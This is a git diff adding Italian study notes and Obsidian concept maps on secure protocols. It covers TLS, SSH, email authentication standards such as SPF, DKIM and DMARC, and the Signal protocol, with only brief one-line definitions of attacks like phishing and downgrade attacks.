+++ b/8 - Crittografia applicata/5 - Protocolli sicuri/1 - TCP-IP/downgrade attack.md	
@@ -0,0 +1 @@
+[[Attacco]] che cerca di fare selezionare ai bersagli [[protocollo|protocolli]] crittografici con vulnerabilità note in modo da poterle sfruttare.
diff --git a/8 - Crittografia applicata/5 - Protocolli sicuri/1 - TCP-IP/encrypted client hello.md b/8 - Crittografia applicata/5 - Protocolli sicuri/1 - TCP-IP/encrypted client hello.md
new file mode 100644
index 0000000..4ce7f86
--- /dev/null
+++ b/8 - Crittografia applicata/5 - Protocolli sicuri/1 - TCP-IP/encrypted client hello.md	
@@ -0,0 +1 @@
+[[Estensione]] a [[transport level security|TLS]] che permette di autenticare l'header [[HTTP]] `Host` al fine di evitare [[man-in-the-middle]] che sfruttano [[virtual host]] del web server.
diff --git a/8 - Crittografia applicata/5 - Protocolli sicuri/1 - TCP-IP/mobile shell.md b/8 - Crittografia applicata/5 - Protocolli sicuri/1 - TCP-IP/mobile shell.md
new file mode 100644
index 0000000..bba34de
--- /dev/null
+++ b/8 - Crittografia applicata/5 - Protocolli sicuri/1 - TCP-IP/mobile shell.md	
@@ -0,0 +1,5 @@
+---
+aliases: ["Mosh"]
+---
+
+[[Protocollo]] sicuro per [[terminale remoto]] con client [[roaming]] e [[alta latenza]].
\ No newline at end of file
diff --git a/8 - Crittografia applicata/5 - Protocolli sicuri/1 - TCP-IP/pre-master secret.md b/8 - Crittografia applicata/5 - Protocolli sicuri/1 - TCP-IP/pre-master secret.md
new file mode 100644
index 0000000..71ec4dd
--- /dev/null
+++ b/8 - Crittografia applicata/5 - Protocolli sicuri/1 - TCP-IP/pre-master secret.md	
@@ -0,0 +1,3 @@
+[[chiave simmetrica]] scambiata in [[transport level security|TLS]] e [[datagram transport level security|DTLS]].
+
+Fornita in input a [[HKDF]].
\ No newline at end of file
diff --git a/8 - Crittografia applicata/5 - Protocolli sicuri/1 - TCP-IP/secure file transfer protocol.md b/8 - Crittografia applicata/5 - Protocolli sicuri/1 - TCP-IP/secure file transfer protocol.md
new file mode 100644
index 0000000..91e887f
--- /dev/null
+++ b/8 - Crittografia applicata/5 - Protocolli sicuri/1 - TCP-IP/secure file transfer protocol.md	
@@ -0,0 +1,5 @@
+---
+aliases: ["SFTP"]
+---
+
+[[Protocollo]] sicuro per [[trasferimento file]] basato su [[secure shell|SSH]].
diff --git a/8 - Crittografia applicata/5 - Protocolli sicuri/1 - TCP-IP/secure shell.md b/8 - Crittografia applicata/5 - Protocolli sicuri/1 - TCP-IP/secure shell.md
new file mode 100644
index 0000000..6d16888
--- /dev/null
+++ b/8 - Crittografia applicata/5 - Protocolli sicuri/1 - TCP-IP/secure shell.md	
@@ -0,0 +1,5 @@
+---
+aliases: ["SSH"]
+---
+
+[[Protocollo]] sicuro per [[terminale remoto]].
\ No newline at end of file
diff --git a/8 - Crittografia applicata/5 - Protocolli sicuri/1 - TCP-IP/transport level security handshake.md b/8 - Crittografia applicata/5 - Protocolli sicuri/1 - TCP-IP/transport level security handshake.md
new file mode 100644
index 0000000..6be55e7
--- /dev/null
+++ b/8 - Crittografia applicata/5 - Protocolli sicuri/1 - TCP-IP/transport level security handshake.md	
@@ -0,0 +1,23 @@
+Fase iniziale di una sessione [[TLS]] e [[DTLS]].
+
+## Funzionamento v1.2
+
+Consiste nelle seguenti fasi:
+
+1. **Negoziazione**
+	1. Trasmissione di [[metadato|metadati]]
+		- Versione del protocollo
+		- [[protocollo|Protocolli]] di crittografia disponibili
+		- ID della sessione 
+			- per [[caching]] della [[chiave simmetrica]]
+1. **[[Scambio di chiave autenticato]] con [[coppia di chiavi effimere|coppie di chiavi effimere]]**
+	1. Autenticazione del server
+	2. *(Opzionale)* Autenticazione del client
+2. **Terminazione dell'handshake**
+	1. Autenticazione dello scambio di dati
+
+## Cambiamenti in v1.3
+
+- **3-RTT**: I parametri dello scambio di chiave vengono inviati dal client nella negoziazione.
+- **2-RTT**: Permette di rimuovere un round trip ma con vulnerabilità a [[replay attack]]. 
+- Sono rimossi protocolli deprecati.
\ No newline at end of file
diff --git a/8 - Crittografia applicata/5 - Protocolli sicuri/1 - TCP-IP/transport level security.md b/8 - Crittografia applicata/5 - Protocolli sicuri/1 - TCP-IP/transport level security.md
new file mode 100644
index 0000000..7c83090
--- /dev/null
+++ b/8 - Crittografia applicata/5 - Protocolli sicuri/1 - TCP-IP/transport level security.md	
@@ -0,0 +1,9 @@
+---
+aliases: ["TLS", "secure socket layer", "SSL"]
+---
+
+[[Protocollo]] [[application-level]] che si appoggia su [[TCP]] per fornire comunicazioni sicure.
+
+## Funzionamento
+
+Inizialmente, i due interlocutori devono aprire una connessione, effettuando un [[transport level security handshake]], e poi comunicano attraverso [[crittografia simmetrica autenticata]] utilizzando [[coppia di chiavi effimere|coppie di chiavi effimere]].
diff --git a/8 - Crittografia applicata/5 - Protocolli sicuri/1 - TCP-IP/★ mappa concettuale.canvas b/8 - Crittografia applicata/5 - Protocolli sicuri/1 - TCP-IP/★ mappa concettuale.canvas
new file mode 100644
index 0000000..33c85fc
--- /dev/null
+++ b/8 - Crittografia applicata/5 - Protocolli sicuri/1 - TCP-IP/★ mappa concettuale.canvas	
@@ -0,0 +1,45 @@
+{
+	"nodes":[
+		{"type":"group","id":"1a93f86e1493182c","x":-500,"y":-3820,"width":1000,"height":1880,"color":"6","label":"TLS"},
+		{"type":"group","id":"b68cbb51218189da","x":580,"y":-3340,"width":440,"height":920,"color":"1","label":"Attacco"},
+		{"type":"group","id":"25bf92dde8be3460","x":-1040,"y":-3120,"width":480,"height":480,"color":"5","label":"Difesa"},
+		{"type":"file","file":"8 - Crittografia applicata/5 - Protocolli sicuri/1 - TCP-IP/MACSec.md","id":"2a7d00263d7e7c48","x":-200,"y":-120,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/5 - Protocolli sicuri/1 - TCP-IP/IPSec.md","id":"e0ab26b4ce04834f","x":-200,"y":-680,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/5 - Protocolli sicuri/1 - TCP-IP/Internet Key Exchange.md","id":"35d15ed1b7c0c00e","x":360,"y":-680,"width":400,"height":400},
+		{"type":"text","text":"TCP...?","id":"695979a0c6de9051","x":-480,"y":-1240,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/5 - Protocolli sicuri/1 - TCP-IP/transport level security.md","id":"2ec76cfe857d9bae","x":-480,"y":-1800,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/5 - Protocolli sicuri/1 - TCP-IP/datagram transport level security.md","id":"d075fd8aa44696b0","x":80,"y":-1800,"width":400,"height":400},
+		{"type":"text","text":"UDP...?","id":"9d8ae6e86716a024","x":80,"y":-1240,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/5 - Protocolli sicuri/1 - TCP-IP/transport level security handshake.md","id":"9820390352abcff4","x":-360,"y":-3240,"width":720,"height":720},
+		{"type":"file","file":"8 - Crittografia applicata/5 - Protocolli sicuri/1 - TCP-IP/pre-master secret.md","id":"e81572c49bcc4fb8","x":-480,"y":-3800,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/5 - Protocolli sicuri/1 - TCP-IP/coppia di chiavi effimere.md","id":"10ac67f50d763b5b","x":80,"y":-3800,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/5 - Autenticazione/replay attack.md","id":"e852bf7eb5e9bf8b","x":600,"y":-3320,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/5 - Protocolli sicuri/1 - TCP-IP/downgrade attack.md","id":"1999add9d1a9fcf8","x":600,"y":-2840,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/5 - Protocolli sicuri/1 - TCP-IP/transport level security.md","id":"e839bf8a22aac62f","x":-200,"y":-2360,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/5 - Protocolli sicuri/1 - TCP-IP/secure file transfer protocol.md","id":"311b027b1ea2a572","x":-1040,"y":-2360,"width":400,"height":160},
+		{"type":"file","file":"8 - Crittografia applicata/5 - Protocolli sicuri/1 - TCP-IP/Wireguard.md","id":"835741b277f272b1","x":-1520,"y":-2120,"width":400,"height":160},
+		{"type":"file","file":"8 - Crittografia applicata/5 - Protocolli sicuri/1 - TCP-IP/mobile shell.md","id":"eadeec7bc58bad4e","x":-2000,"y":-2120,"width":400,"height":160},
+		{"type":"file","file":"8 - Crittografia applicata/5 - Protocolli sicuri/1 - TCP-IP/secure shell.md","id":"7e51873e3d5ba4d3","x":-1040,"y":-2120,"width":400,"height":160},
+		{"type":"file","file":"8 - Crittografia applicata/5 - Protocolli sicuri/1 - TCP-IP/encrypted client hello.md","id":"bb073728da265d8f","x":-1000,"y":-3080,"width":400,"height":400}
+	],
+	"edges":[
+		{"id":"72686cc8599f0d47","fromNode":"2a7d00263d7e7c48","fromSide":"top","toNode":"e0ab26b4ce04834f","toSide":"bottom"},
+		{"id":"2f455193c024ee94","fromNode":"e0ab26b4ce04834f","fromSide":"top","toNode":"695979a0c6de9051","toSide":"bottom"},
+		{"id":"369d421b488019df","fromNode":"695979a0c6de9051","fromSide":"top","toNode":"2ec76cfe857d9bae","toSide":"bottom"},
+		{"id":"aaa032585b669d32","fromNode":"e0ab26b4ce04834f","fromSide":"right","toNode":"35d15ed1b7c0c00e","toSide":"left"},
+		{"id":"e2855b66fe531979","fromNode":"e0ab26b4ce04834f","fromSide":"top","toNode":"9d8ae6e86716a024","toSide":"bottom"},
+		{"id":"673995d4941a1f2d","fromNode":"9d8ae6e86716a024","fromSide":"top","toNode":"d075fd8aa44696b0","toSide":"bottom"},
+		{"id":"1cdc210380879df5","fromNode":"9820390352abcff4","fromSide":"top","toNode":"10ac67f50d763b5b","toSide":"bottom","toEnd":"none"},
+		{"id":"6292dd0e2662eba8","fromNode":"9820390352abcff4","fromSide":"top","toNode":"e81572c49bcc4fb8","toSide":"bottom","toEnd":"none"},
+		{"id":"8cf2bf6401198042","fromNode":"9820390352abcff4","fromSide":"right","toNode":"e852bf7eb5e9bf8b","toSide":"left"},
+		{"id":"221a85af0adaa99a","fromNode":"9820390352abcff4","fromSide":"right","toNode":"1999add9d1a9fcf8","toSide":"left"},
+		{"id":"135fab66e02e1ff1","fromNode":"d075fd8aa44696b0","fromSide":"top","toNode":"e839bf8a22aac62f","toSide":"bottom"},
+		{"id":"b465a99b96d5087d","fromNode":"2ec76cfe857d9bae","fromSide":"top","toNode":"e839bf8a22aac62f","toSide":"bottom"},
+		{"id":"253238f6c3bb5af9","fromNode":"e839bf8a22aac62f","fromSide":"top","toNode":"9820390352abcff4","toSide":"bottom"},
+		{"id":"4265a660b39b2b06","fromNode":"2ec76cfe857d9bae","fromSide":"top","toNode":"7e51873e3d5ba4d3","toSide":"bottom"},
+		{"id":"392404c39498c116","fromNode":"7e51873e3d5ba4d3","fromSide":"top","toNode":"311b027b1ea2a572","toSide":"bottom"},
+		{"id":"a7c4f99d3f262c51","fromNode":"2ec76cfe857d9bae","fromSide":"top","toNode":"835741b277f272b1","toSide":"bottom"},
+		{"id":"c985a3408d792bbd","fromNode":"2ec76cfe857d9bae","fromSide":"top","toNode":"eadeec7bc58bad4e","toSide":"bottom"},
+		{"id":"6fb610a50bf6ced2","fromNode":"9820390352abcff4","fromSide":"left","toNode":"bb073728da265d8f","toSide":"right"}
+	]
+}
\ No newline at end of file
diff --git a/8 - Crittografia applicata/5 - Protocolli sicuri/2 - Email/authenticated received chain.md b/8 - Crittografia applicata/5 - Protocolli sicuri/2 - Email/authenticated received chain.md
new file mode 100644
index 0000000..4008f8b
--- /dev/null
+++ b/8 - Crittografia applicata/5 - Protocolli sicuri/2 - Email/authenticated received chain.md	
@@ -0,0 +1,4 @@
+---
+aliases: ["ARC"]
+---
+[[Protocollo]] per [[email]].
diff --git a/8 - Crittografia applicata/5 - Protocolli sicuri/2 - Email/brand indicators for message identification.md b/8 - Crittografia applicata/5 - Protocolli sicuri/2 - Email/brand indicators for message identification.md
new file mode 100644
index 0000000..7fb6c91
--- /dev/null
+++ b/8 - Crittografia applicata/5 - Protocolli sicuri/2 - Email/brand indicators for message identification.md	
@@ -0,0 +1,5 @@
+---
+aliases: ["BIMI"]
+---
+
+[[Protocollo]] per visualizzare un'icona vicino alle email proveniente alle [[email]] verificate di un brand.
diff --git a/8 - Crittografia applicata/5 - Protocolli sicuri/2 - Email/domain-based message authentication reporting and conformance.md b/8 - Crittografia applicata/5 - Protocolli sicuri/2 - Email/domain-based message authentication reporting and conformance.md
new file mode 100644
index 0000000..66ed19c
--- /dev/null
+++ b/8 - Crittografia applicata/5 - Protocolli sicuri/2 - Email/domain-based message authentication reporting and conformance.md	
@@ -0,0 +1,5 @@
+---
+aliases: ["DMARC"]
+---
+
+[[Protocollo]] [[email]] per verificare allineamento tra [[sender policy framework|SPF]] e [[domainkeys identified mail|DKIM]].
diff --git a/8 - Crittografia applicata/5 - Protocolli sicuri/2 - Email/domainkeys identified mail.md b/8 - Crittografia applicata/5 - Protocolli sicuri/2 - Email/domainkeys identified mail.md
new file mode 100644
index 0000000..5f9fe3e
--- /dev/null
+++ b/8 - Crittografia applicata/5 - Protocolli sicuri/2 - Email/domainkeys identified mail.md	
@@ -0,0 +1,5 @@
+---
+aliases: ["DKIM"]
+---
+
+[[Protocollo]] per verificare che l'invio di una [[email]] sia stato effettuato da un server autorizzato attraverso [[firma digitale]] e [[chiave pubblica]] nei [[record DNS]].
diff --git a/8 - Crittografia applicata/5 - Protocolli sicuri/2 - Email/email.md b/8 - Crittografia applicata/5 - Protocolli sicuri/2 - Email/email.md
new file mode 100644
index 0000000..972d848
--- /dev/null
+++ b/8 - Crittografia applicata/5 - Protocolli sicuri/2 - Email/email.md	
@@ -0,0 +1 @@
+Suite di [[protocollo|protocolli]] che permettono lo scambio asincrono di messaggi tra due o più interlocutori.
diff --git a/8 - Crittografia applicata/5 - Protocolli sicuri/2 - Email/malware attachment.md b/8 - Crittografia applicata/5 - Protocolli sicuri/2 - Email/malware attachment.md
new file mode 100644
index 0000000..8398560
--- /dev/null
+++ b/8 - Crittografia applicata/5 - Protocolli sicuri/2 - Email/malware attachment.md	
@@ -0,0 +1,3 @@
+[[Attacco]] in cui l'[[avversario]] invia un [[malware]] a un [[utente]] e cerca di farglielo eseguire.
+
+Comune attraverso [[email]].
\ No newline at end of file
diff --git a/8 - Crittografia applicata/5 - Protocolli sicuri/2 - Email/phishing.md b/8 - Crittografia applicata/5 - Protocolli sicuri/2 - Email/phishing.md
new file mode 100644
index 0000000..de3752e
--- /dev/null
+++ b/8 - Crittografia applicata/5 - Protocolli sicuri/2 - Email/phishing.md	
@@ -0,0 +1,3 @@
+[[Attacco]] in cui l'[[avversario]] cerca di esfiltrare [[credenziale|credenziali]] ingannando un [[utente]].
+
+Comune attraverso [[email]].
\ No newline at end of file
diff --git a/8 - Crittografia applicata/5 - Protocolli sicuri/2 - Email/posta elettronica certificata.md b/8 - Crittografia applicata/5 - Protocolli sicuri/2 - Email/posta elettronica certificata.md
new file mode 100644
index 0000000..ecf370d
--- /dev/null
+++ b/8 - Crittografia applicata/5 - Protocolli sicuri/2 - Email/posta elettronica certificata.md	
@@ -0,0 +1,5 @@
+---
+aliases: ["PEC"]
+---
+
+[[Protocollo]] [[email]] basato su [[secure mime|S/MIME]] le cui [[certification authority|certificate authority]] sono autorizzate dalla [[pubblica amministrazione]].
diff --git a/8 - Crittografia applicata/5 - Protocolli sicuri/2 - Email/record DNS.md b/8 - Crittografia applicata/5 - Protocolli sicuri/2 - Email/record DNS.md
new file mode 100644
index 0000000..e69de29
diff --git a/8 - Crittografia applicata/5 - Protocolli sicuri/2 - Email/secure mime.md b/8 - Crittografia applicata/5 - Protocolli sicuri/2 - Email/secure mime.md
new file mode 100644
index 0000000..54a958d
--- /dev/null
+++ b/8 - Crittografia applicata/5 - Protocolli sicuri/2 - Email/secure mime.md	
@@ -0,0 +1,5 @@
+---
+aliases: ["S/MIME"]
+---
+
+[[Protocollo]] che fa uso di una [[public key infrastructure]] e [[certificato web]] per verificare le [[email]].
diff --git a/8 - Crittografia applicata/5 - Protocolli sicuri/2 - Email/sender policy framework.md b/8 - Crittografia applicata/5 - Protocolli sicuri/2 - Email/sender policy framework.md
new file mode 100644
index 0000000..7041156
--- /dev/null
+++ b/8 - Crittografia applicata/5 - Protocolli sicuri/2 - Email/sender policy framework.md	
@@ -0,0 +1,5 @@
+---
+aliases: ["SPF"]
+---
+
+[[Protocollo]] per verificare che l'invio di una [[email]] sia stato effettuato da un server autorizzato attraverso [[record DNS]].
diff --git a/8 - Crittografia applicata/5 - Protocolli sicuri/2 - Email/sender spoofing.md b/8 - Crittografia applicata/5 - Protocolli sicuri/2 - Email/sender spoofing.md
new file mode 100644
index 0000000..5490e03
--- /dev/null
+++ b/8 - Crittografia applicata/5 - Protocolli sicuri/2 - Email/sender spoofing.md	
@@ -0,0 +1,3 @@
+[[Attacco]] in cui l'[[avversario]] falsifica l'identità del mittente di un messaggio.
+
+Comune attraverso [[email]].
\ No newline at end of file
diff --git a/8 - Crittografia applicata/5 - Protocolli sicuri/2 - Email/★ mappa concettuale.canvas b/8 - Crittografia applicata/5 - Protocolli sicuri/2 - Email/★ mappa concettuale.canvas
new file mode 100644
index 0000000..179e34f
--- /dev/null
+++ b/8 - Crittografia applicata/5 - Protocolli sicuri/2 - Email/★ mappa concettuale.canvas	
@@ -0,0 +1,36 @@
+{
+	"nodes":[
+		{"type":"group","id":"a103b8bbc3e4e85f","x":1260,"y":-680,"width":1040,"height":1000,"color":"5","label":"Autenticità del server"},
+		{"type":"group","id":"e8ffc01ba0db99b2","x":1260,"y":480,"width":1040,"height":960,"color":"5","label":"Autenticità dell'user agent"},
+		{"type":"group","id":"cd5c1d3c08995c89","x":140,"y":-580,"width":440,"height":800,"color":"1","label":"Attacco"},
+		{"type":"file","file":"8 - Crittografia applicata/5 - Protocolli sicuri/2 - Email/sender spoofing.md","id":"912e02c9acd64694","x":160,"y":-560,"width":400,"height":200},
+		{"type":"file","file":"8 - Crittografia applicata/5 - Protocolli sicuri/2 - Email/phishing.md","id":"17c6469b0a741e48","x":160,"y":-280,"width":400,"height":200},
+		{"type":"file","file":"8 - Crittografia applicata/5 - Protocolli sicuri/2 - Email/malware attachment.md","id":"a370d03fdf395238","x":160,"y":0,"width":400,"height":200},
+		{"type":"file","file":"8 - Crittografia applicata/5 - Protocolli sicuri/2 - Email/email.md","id":"6acbc7e997113635","x":720,"y":-380,"width":400,"height":400,"color":"#ffffff"},
+		{"type":"file","file":"8 - Crittografia applicata/5 - Protocolli sicuri/2 - Email/sender policy framework.md","id":"4f316a7e7f0fd686","x":1280,"y":-460,"width":440,"height":200},
+		{"type":"file","file":"8 - Crittografia applicata/5 - Protocolli sicuri/2 - Email/domainkeys identified mail.md","id":"61a4a88a14d416ac","x":1280,"y":-100,"width":440,"height":200},
+		{"type":"text","text":"","id":"ee84aa7db46f6dcc","x":875,"y":740,"width":90,"height":90},
+		{"type":"file","file":"8 - Crittografia applicata/5 - Protocolli sicuri/2 - Email/authenticated received chain.md","id":"6dbb85865a9057e3","x":1880,"y":-660,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/5 - Protocolli sicuri/2 - Email/domain-based message authentication reporting and conformance.md","id":"d32c181c19b47e7a","x":1880,"y":-100,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/5 - Protocolli sicuri/2 - Email/secure mime.md","subpath":"#S/MIME","id":"45dae5a42aab6d17","x":1280,"y":500,"width":440,"height":200},
+		{"type":"file","file":"8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/OpenPGP web of trust.md","id":"77af9a8f3c271a21","x":1280,"y":860,"width":440,"height":200},
+		{"type":"file","file":"8 - Crittografia applicata/5 - Protocolli sicuri/2 - Email/posta elettronica certificata.md","id":"30d231607b082ab8","x":1880,"y":500,"width":400,"height":200},
+		{"type":"file","file":"8 - Crittografia applicata/5 - Protocolli sicuri/2 - Email/brand indicators for message identification.md","id":"2e94cbd15efcacf8","x":1280,"y":1220,"width":440,"height":200}
+	],
+	"edges":[
+		{"id":"eca6337cd5fd9e0d","fromNode":"a370d03fdf395238","fromSide":"right","toNode":"6acbc7e997113635","toSide":"left","toEnd":"none"},
+		{"id":"8fc98ac2ba3bc6d4","fromNode":"17c6469b0a741e48","fromSide":"right","toNode":"6acbc7e997113635","toSide":"left","toEnd":"none"},
+		{"id":"cc63ae471280ad22","fromNode":"912e02c9acd64694","fromSide":"right","toNode":"6acbc7e997113635","toSide":"left","toEnd":"none"},
+		{"id":"8555e3d82a738ffc","fromNode":"6acbc7e997113635","fromSide":"right","toNode":"4f316a7e7f0fd686","toSide":"left","toEnd":"none"},
+		{"id":"b44a5b12975ecf98","fromNode":"6acbc7e997113635","fromSide":"right","toNode":"61a4a88a14d416ac","toSide":"left","toEnd":"none"},
+		{"id":"dc2a6d7115cc2fe7","fromNode":"61a4a88a14d416ac","fromSide":"right","toNode":"d32c181c19b47e7a","toSide":"left","toEnd":"none"},
+		{"id":"1aafe05f978cc47c","fromNode":"4f316a7e7f0fd686","fromSide":"right","toNode":"d32c181c19b47e7a","toSide":"left","toEnd":"none"},
+		{"id":"6c971c346129e44c","fromNode":"6acbc7e997113635","fromSide":"bottom","toNode":"ee84aa7db46f6dcc","toSide":"top"},
+		{"id":"89775541dfe5b7db","fromNode":"ee84aa7db46f6dcc","fromSide":"right","toNode":"45dae5a42aab6d17","toSide":"left","toEnd":"none"},
+		{"id":"bc6ce3afe8181a6e","fromNode":"ee84aa7db46f6dcc","fromSide":"right","toNode":"77af9a8f3c271a21","toSide":"left","toEnd":"none"},
+		{"id":"817c64ce7ac0c6c4","fromNode":"4f316a7e7f0fd686","fromSide":"right","toNode":"6dbb85865a9057e3","toSide":"left","toEnd":"none"},
+		{"id":"12e034b4bea15688","fromNode":"61a4a88a14d416ac","fromSide":"right","toNode":"6dbb85865a9057e3","toSide":"left","toEnd":"none"},
+		{"id":"a574b93d92009fa1","fromNode":"45dae5a42aab6d17","fromSide":"right","toNode":"30d231607b082ab8","toSide":"left"},
+		{"id":"5a97a73fa025e8ad","fromNode":"ee84aa7db46f6dcc","fromSide":"bottom","toNode":"2e94cbd15efcacf8","toSide":"left"}
+	]
+}
\ No newline at end of file
diff --git a/8 - Crittografia applicata/5 - Protocolli sicuri/3 - Signal/Diffie-Hellman ratchet.md b/8 - Crittografia applicata/5 - Protocolli sicuri/3 - Signal/Diffie-Hellman ratchet.md
new file mode 100644
index 0000000..b755a0c
--- /dev/null
+++ b/8 - Crittografia applicata/5 - Protocolli sicuri/3 - Signal/Diffie-Hellman ratchet.md	
@@ -0,0 +1,5 @@
+[[Funzione]] di [[reseeding]] nel [[double ratchet]] che garantisce [[backward secrecy]].
+
+## Funzionamento
+
+Permette agli [[user agent]] di decidere in qualsiasi momento di fare avanzare la [[double ratchet|root chain]].
\ No newline at end of file
diff --git a/8 - Crittografia applicata/5 - Protocolli sicuri/3 - Signal/Signal AEAD.md b/8 - Crittografia applicata/5 - Protocolli sicuri/3 - Signal/Signal AEAD.md
new file mode 100644
index 0000000..15d8bd0
--- /dev/null
+++ b/8 - Crittografia applicata/5 - Protocolli sicuri/3 - Signal/Signal AEAD.md	
@@ -0,0 +1,13 @@
+In [[Signal]], l'[[authenticated encryption with associated data]] è effettuata con un dato associato ottenuto concatenando:
+
+1. [[identity information]] di 1️⃣
+2. [[identity information]] di 2️⃣
+3. [[identity key]] pubblica di 1️⃣
+4. [[identity key]] pubblica di 2️⃣
+
+Il dato ottenuto può essere usato per effettuare [[out-of-band verification]], in caso si voglia rafforzare la sicurezza della comunicazione.
+
+Inoltre, viene trasmesso:
+
+5. contatore dei messaggi inviati per il [[symmetric ratchet]]
+6. chiave pubblica del [[Diffie-Hellman ratchet]]
\ No newline at end of file
diff --git a/8 - Crittografia applicata/5 - Protocolli sicuri/3 - Signal/Signal protocol.md b/8 - Crittografia applicata/5 - Protocolli sicuri/3 - Signal/Signal protocol.md
new file mode 100644
index 0000000..a0e467f
--- /dev/null
+++ b/8 - Crittografia applicata/5 - Protocolli sicuri/3 - Signal/Signal protocol.md	
@@ -0,0 +1 @@
+La suite di [[protocollo|protocolli]] utilizzata da [[Signal]].
diff --git a/8 - Crittografia applicata/5 - Protocolli sicuri/3 - Signal/Signal.md b/8 - Crittografia applicata/5 - Protocolli sicuri/3 - Signal/Signal.md
new file mode 100644
index 0000000..870dde8
--- /dev/null
+++ b/8 - Crittografia applicata/5 - Protocolli sicuri/3 - Signal/Signal.md	
@@ -0,0 +1,8 @@
+[[App]] [[mobile]] con lo scopo di permettere [[comunicazione asincrona sicura]].
+
+Il [[problema]] che vuole risolvere ha i seguenti [[vincolo|vincoli]]:
+- [[confidenzialità]] end-to-end
+- [[autenticità]] con [[negabilità]]
+- [[forward secrecy]] e [[backward secrecy]]
+- [[trust-on-first-use]]
+- [[server di interscambio]] fidato e sempre online
diff --git a/8 - Crittografia applicata/5 - Protocolli sicuri/3 - Signal/X3DH.md b/8 - Crittografia applicata/5 - Protocolli sicuri/3 - Signal/X3DH.md
new file mode 100644
index 0000000..5c721af
--- /dev/null
+++ b/8 - Crittografia applicata/5 - Protocolli sicuri/3 - Signal/X3DH.md	
@@ -0,0 +1,9 @@
+[[protocollo]] [[asincrono]] di [[scambio di chiave]] usato come [[handshake]] nel [[Signal protocol]].
+
+Sfrutta il [[server di interscambio]] per funzionare quando una delle due parti non è online.
+
+## Funzionalità
+
+- [[registrazione X3DH]]
+- [[invio X3DH]]
+- [[recupero messaggi X3DH]]
diff --git a/8 - Crittografia applicata/5 - Protocolli sicuri/3 - Signal/authenticated deniable key agreement basato su Diffie-Hellman.md b/8 - Crittografia applicata/5 - Protocolli sicuri/3 - Signal/authenticated deniable key agreement basato su Diffie-Hellman.md
new file mode 100644
index 0000000..c96d83e
--- /dev/null
+++ b/8 - Crittografia applicata/5 - Protocolli sicuri/3 - Signal/authenticated deniable key agreement basato su Diffie-Hellman.md	
@@ -0,0 +1,6 @@
+[[authenticated deniable key agreement]] basato sullo [[scambio di chiave Diffie-Hellman]].
+
+## Funzionamento
+
+#TODO: Non riesco a capire dalla figura!
+
diff --git a/8 - Crittografia applicata/5 - Protocolli sicuri/3 - Signal/authenticated deniable key agreement.md b/8 - Crittografia applicata/5 - Protocolli sicuri/3 - Signal/authenticated deniable key agreement.md
new file mode 100644
index 0000000..284800c
--- /dev/null
+++ b/8 - Crittografia applicata/5 - Protocolli sicuri/3 - Signal/authenticated deniable key agreement.md	
@@ -0,0 +1 @@
+[[scambio di chiave autenticato]] che offre [[negabilità]] alle due parti.
diff --git a/8 - Crittografia applicata/5 - Protocolli sicuri/3 - Signal/double ratchet.md b/8 - Crittografia applicata/5 - Protocolli sicuri/3 - Signal/double ratchet.md
new file mode 100644
index 0000000..4de02dd
--- /dev/null
+++ b/8 - Crittografia applicata/5 - Protocolli sicuri/3 - Signal/double ratchet.md	
@@ -0,0 +1,18 @@
+---
+aliases: ["axolotl ratchet"]
+---
+
+[[Protocollo]] utilizzato dal [[Signal protocol]] per garantire [[forward secrecy]] e [[backward secrecy]].
+
+È composta da:
+- ***[[symmetric ratchet]]***
+	- **root chain**
+		- inizializzata con la [[session key]] e poi aggiornata tramite ***[[Diffie-Hellman ratchet]]***
+		- **sending chain**
+			- invio di messaggi all'altra parte, corrispondente all'altra receiving chain
+		- **receiving chain**
+			- ricezione di messaggi dall'altra parte, corrispondente all'altra sending chain
+
+## #Extra Vedi anche
+
+- [Signal → Specifications: **The Double Ratchet Algorithm**](https://signal.org/docs/specifications/doubleratchet/)
\ No newline at end of file
diff --git a/8 - Crittografia applicata/5 - Protocolli sicuri/3 - Signal/identity information.md b/8 - Crittografia applicata/5 - Protocolli sicuri/3 - Signal/identity information.md
new file mode 100644
index 0000000..190d2a8
--- /dev/null
+++ b/8 - Crittografia applicata/5 - Protocolli sicuri/3 - Signal/identity information.md	
@@ -0,0 +1,5 @@
+---
+aliases: ["IDa", "IDb"]
+---
+
+Dati riguardanti un [[user agent]] o l'[[entità]] che rappresenta, come il relativo [[numero di telefono]].
diff --git a/8 - Crittografia applicata/5 - Protocolli sicuri/3 - Signal/identity key.md b/8 - Crittografia applicata/5 - Protocolli sicuri/3 - Signal/identity key.md
new file mode 100644
index 0000000..cdb07cf
--- /dev/null
+++ b/8 - Crittografia applicata/5 - Protocolli sicuri/3 - Signal/identity key.md	
@@ -0,0 +1,5 @@
+---
+aliases: ["IK", "IKa", "IKb"]
+---
+
+[[coppia di chiavi]] **permanente** associata a un [[user agent]] nel [[Signal protocol]].
\ No newline at end of file
diff --git a/8 - Crittografia applicata/5 - Protocolli sicuri/3 - Signal/invio X3DH.md b/8 - Crittografia applicata/5 - Protocolli sicuri/3 - Signal/invio X3DH.md
new file mode 100644
index 0000000..f6cc1f0
--- /dev/null
+++ b/8 - Crittografia applicata/5 - Protocolli sicuri/3 - Signal/invio X3DH.md	
@@ -0,0 +1,25 @@
+---
+aliases: ["X3DH start conversation message sending"]
+---
+
+[[Funzione]] [[X3DH]] di [[crittografia ibrida]] attraverso la quale un [[user agent]] avvia una nuova conversazione con un altro.
+
+## Funzionamento
+
+1. 1️⃣ genera una [[coppia di chiavi effimere]].
+2. 1️⃣ richiede e scarica dal [[server di interscambio]]:
+	- [[identity information]] di 2️⃣
+	- [[identity key]] pubblica di 2️⃣
+	- [[signed pre-key]] pubblica di 2️⃣
+	- una [[one-time pre-key]] di 2️⃣, che viene cancellata dal [[server di interscambio]]
